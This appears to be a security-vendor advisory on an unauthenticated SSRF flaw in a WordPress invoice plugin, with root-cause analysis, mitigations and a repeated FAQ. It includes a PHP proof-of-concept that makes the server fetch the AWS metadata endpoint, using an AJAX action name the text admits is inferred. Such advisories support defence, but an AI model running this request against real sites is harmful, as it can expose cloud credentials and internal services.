What is CVE-2026-65516?

CVE-2026-65516 is a high-severity Server-Side Request Forgery (SSRF) vulnerability in the PeproDev Ultimate Invoice plugin for WordPress, affecting versions up to and including 2.2.6. It allows unauthenticated attackers to make the web application send HTTP requests to arbitrary internal or external destinations, potentially accessing or modifying internal services.

How does the SSRF vulnerability work?

The plugin fails to properly validate a user-supplied URL parameter before using it in an outbound HTTP request, such as through wp_remote_get or similar functions. An attacker can craft a request to the vulnerable endpoint, often an AJAX handler, with a URL pointing to internal resources like localhost or cloud metadata, and the server will fetch it, potentially returning sensitive data.

Who is affected by this vulnerability?

Any WordPress site running the PeproDev Ultimate Invoice plugin version 2.2.6 or earlier is affected. Since the vulnerability requires no authentication, any unauthenticated visitor to the site could exploit it, making it critical for all users of the plugin to take action.

How can I check if my site is vulnerable?

Check the installed version of the PeproDev Ultimate Invoice plugin in your WordPress admin dashboard under Plugins. If the version is 2.2.6 or lower, your site is vulnerable. You can also review the plugin’s changelog or update to a patched version if available.

What is the practical risk of this SSRF vulnerability?

The CVSS score of 7.2 (High) indicates a significant risk. An attacker can query internal services, potentially leaking sensitive information from management interfaces, cloud metadata, or internal databases. They may also send requests that modify internal systems, though the direct integrity impact is rated low.

How does the proof of concept (PoC) demonstrate the issue?

The PoC sends a POST request to the WordPress admin-ajax.php endpoint with an action name (inferred as ‘pepro_invoice_fetch_url’) and a URL parameter set to an internal address like the AWS metadata service. If the plugin is vulnerable, the server will fetch that URL and return the response, proving the SSRF.

Is there a patch available for this vulnerability?

As of the disclosure date, no patched version of the plugin has been released. The vendor needs to provide a fixed version that includes proper URL validation and access controls. Until then, users should apply mitigation measures.

What immediate steps can I take to mitigate the risk?

Immediately disable the PeproDev Ultimate Invoice plugin if you do not rely on it, or restrict access to the vulnerable endpoint using a web application firewall (WAF) that blocks requests to private IP ranges. Additionally, monitor server logs for unusual outbound requests.

How can I protect my site from SSRF attacks in general?

Use WordPress functions like wp_safe_remote_get() that block requests to localhost and private IPs, implement strict URL allowlists, and add nonce verification and capability checks to all AJAX and REST endpoints. Regularly update plugins and themes to ensure security patches are applied.

What is the root cause of this vulnerability?

The root cause is missing or insufficient validation of the URL parameter before it is passed to an outbound HTTP request function. The plugin does not restrict the scheme, host, or port, and does not block requests to loopback or private IP addresses, allowing SSRF.

Can this vulnerability be exploited without authentication?

Yes, the vulnerability is unauthenticated. The vulnerable AJAX handler lacks nonce and capability checks, so any unauthenticated user can send a crafted request to the endpoint and trigger the SSRF.

What should I do if I suspect my site has been exploited?

If you suspect exploitation, immediately update or remove the plugin, review server logs for suspicious outbound requests, and check for unauthorized modifications to internal services. Consider rotating credentials and conducting a full security audit.

Published : August 11, 2026

CVE-2026-65516: PeproDev Ultimate Invoice <= 2.2.6 Unauthenticated Server-Side Request Forgery PoC, Patch Analysis & Rule

CVE ID CVE-2026-65516

Plugin pepro-ultimate-invoice

Severity High (CVSS 7.2)

CWE 918

Vulnerable Version 2.2.6

Patched Version —

Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65516 (metadata-based):

This vulnerability is an unauthenticated Server-Side Request Forgery (SSRF) in the PeproDev Ultimate Invoice plugin for WordPress, affecting versions up to and including 2.2.6. It allows an unauthenticated attacker to force the web application to issue HTTP requests to arbitrary internal or external destinations. The CVSS score of 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) indicates the attack requires no authentication, is simple to execute, and can impact services beyond the web server’s network boundary.

The root cause is a missing or insufficient validation of a user-supplied URL parameter before the plugin passes it to an outbound HTTP request function. The plugin likely has an AJAX handler, REST endpoint, or admin-post action that accepts a URL (commonly used for fetching invoice templates, remote logos, or payment gateway callbacks) and calls WordPress core functions like `wp_remote_get`, `wp_remote_post`, or PHP’s `file_get_contents`/`curl_exec`. Atomic Edge analysis concludes the plugin does not restrict the destination scheme, host, or port, nor does it prevent requests to loopback addresses (127.0.0.1, localhost, RFC 1918 ranges). These conclusions are inferred from the CWE classification and the lack of a code diff; they are not confirmed from source code.

To exploit this, an attacker would submit a crafted request to the plugin’s vulnerable endpoint. Atomic Edge research identifies the WordPress AJAX handler as the most likely attack surface, since many invoice plugins use AJAX actions for dynamic data fetching. The request would target `/wp-admin/admin-ajax.php` with `action=pepro_invoice_fetch_url` (or a similar action name) and a `url` parameter containing an internal address, such as `http://127.0.0.1:8080/admin` or `http://169.254.169.254/latest/meta-data/`. Because the handler lacks a nonce or capability check, the request succeeds without authentication. The plugin then performs the SSRF request and may return the response data to the attacker, enabling information disclosure and modification of internal services.

Remediation requires strict URL validation. The plugin must whitelist allowed protocols (HTTPS/HTTP for specific domains) and block access to private IP ranges, loopback addresses, and link-local addresses. Developers should use a robust library like `wp_safe_remote_get()`, which prevents requests to localhost and private IPs by default, and implement an explicit allowlist for external hosts. Additionally, they should add nonce verification and capability checks to all AJAX and REST endpoints to prevent unauthenticated access. Applying these fixes requires releasing a patched plugin version, which is currently unavailable.

If exploited, this SSRF allows unauthenticated attackers to query internal services, potentially leaking sensitive data from management interfaces, cloud metadata endpoints, or internal databases. It also permits attackers to send crafted requests to internal systems, modifying data or triggering actions. While the direct impact on the web server itself is limited to information disclosure and limited write access (CVSS integrity impact is Low), the reach into the internal network can be leveraged for further attacks, such as credential harvesting or lateral movement.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65516 - PeproDev Ultimate Invoice <= 2.2.6 - Unauthenticated SSRF

// This PoC is based on the CVE metadata and common WordPress plugin patterns.
// No source code was available, so the AJAX action name and parameter are inferred.
// Adjust $target_url and $action if the plugin uses a different endpoint.

// Configuration: Set the WordPress site URL
$target_url = 'http://example.com/wp-admin/admin-ajax.php';

// The inferred AJAX action name for the SSRF vulnerable handler
$action = 'pepro_invoice_fetch_url';

// Internal target to query - e.g., cloud metadata or internal service
$internal_url = 'http://169.254.169.254/latest/meta-data/';

// Build the POST body
$post_data = array(
    'action' => $action,
    'url'    => $internal_url
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

// Execute and capture response
$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "Response from SSRF request:n";
    echo $response . "n";
}

curl_close($ch);

?>

Frequently Asked Questions

What is CVE-2026-65516?
Vulnerability overview
CVE-2026-65516 is a high-severity Server-Side Request Forgery (SSRF) vulnerability in the PeproDev Ultimate Invoice plugin for WordPress, affecting versions up to and including 2.2.6. It allows unauthenticated attackers to make the web application send HTTP requests to arbitrary internal or external destinations, potentially accessing or modifying internal services.
How does the SSRF vulnerability work?
Technical explanation
The plugin fails to properly validate a user-supplied URL parameter before using it in an outbound HTTP request, such as through wp_remote_get or similar functions. An attacker can craft a request to the vulnerable endpoint, often an AJAX handler, with a URL pointing to internal resources like localhost or cloud metadata, and the server will fetch it, potentially returning sensitive data.
Who is affected by this vulnerability?
Affected users
Any WordPress site running the PeproDev Ultimate Invoice plugin version 2.2.6 or earlier is affected. Since the vulnerability requires no authentication, any unauthenticated visitor to the site could exploit it, making it critical for all users of the plugin to take action.
How can I check if my site is vulnerable?
Detection steps
Check the installed version of the PeproDev Ultimate Invoice plugin in your WordPress admin dashboard under Plugins. If the version is 2.2.6 or lower, your site is vulnerable. You can also review the plugin’s changelog or update to a patched version if available.
What is the practical risk of this SSRF vulnerability?
Risk assessment
The CVSS score of 7.2 (High) indicates a significant risk. An attacker can query internal services, potentially leaking sensitive information from management interfaces, cloud metadata, or internal databases. They may also send requests that modify internal systems, though the direct integrity impact is rated low.
How does the proof of concept (PoC) demonstrate the issue?
PoC explanation
The PoC sends a POST request to the WordPress admin-ajax.php endpoint with an action name (inferred as ‘pepro_invoice_fetch_url’) and a URL parameter set to an internal address like the AWS metadata service. If the plugin is vulnerable, the server will fetch that URL and return the response, proving the SSRF.
Is there a patch available for this vulnerability?
Patch status
As of the disclosure date, no patched version of the plugin has been released. The vendor needs to provide a fixed version that includes proper URL validation and access controls. Until then, users should apply mitigation measures.
What immediate steps can I take to mitigate the risk?
Mitigation options
Immediately disable the PeproDev Ultimate Invoice plugin if you do not rely on it, or restrict access to the vulnerable endpoint using a web application firewall (WAF) that blocks requests to private IP ranges. Additionally, monitor server logs for unusual outbound requests.
How can I protect my site from SSRF attacks in general?
General SSRF prevention
Use WordPress functions like wp_safe_remote_get() that block requests to localhost and private IPs, implement strict URL allowlists, and add nonce verification and capability checks to all AJAX and REST endpoints. Regularly update plugins and themes to ensure security patches are applied.
What is the root cause of this vulnerability?
Root cause analysis
The root cause is missing or insufficient validation of the URL parameter before it is passed to an outbound HTTP request function. The plugin does not restrict the scheme, host, or port, and does not block requests to loopback or private IP addresses, allowing SSRF.
Can this vulnerability be exploited without authentication?
Authentication requirement
Yes, the vulnerability is unauthenticated. The vulnerable AJAX handler lacks nonce and capability checks, so any unauthenticated user can send a crafted request to the endpoint and trigger the SSRF.
What should I do if I suspect my site has been exploited?
Incident response
If you suspect exploitation, immediately update or remove the plugin, review server logs for suspicious outbound requests, and check for unauthorized modifications to internal services. Consider rotating credentials and conducting a full security audit.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started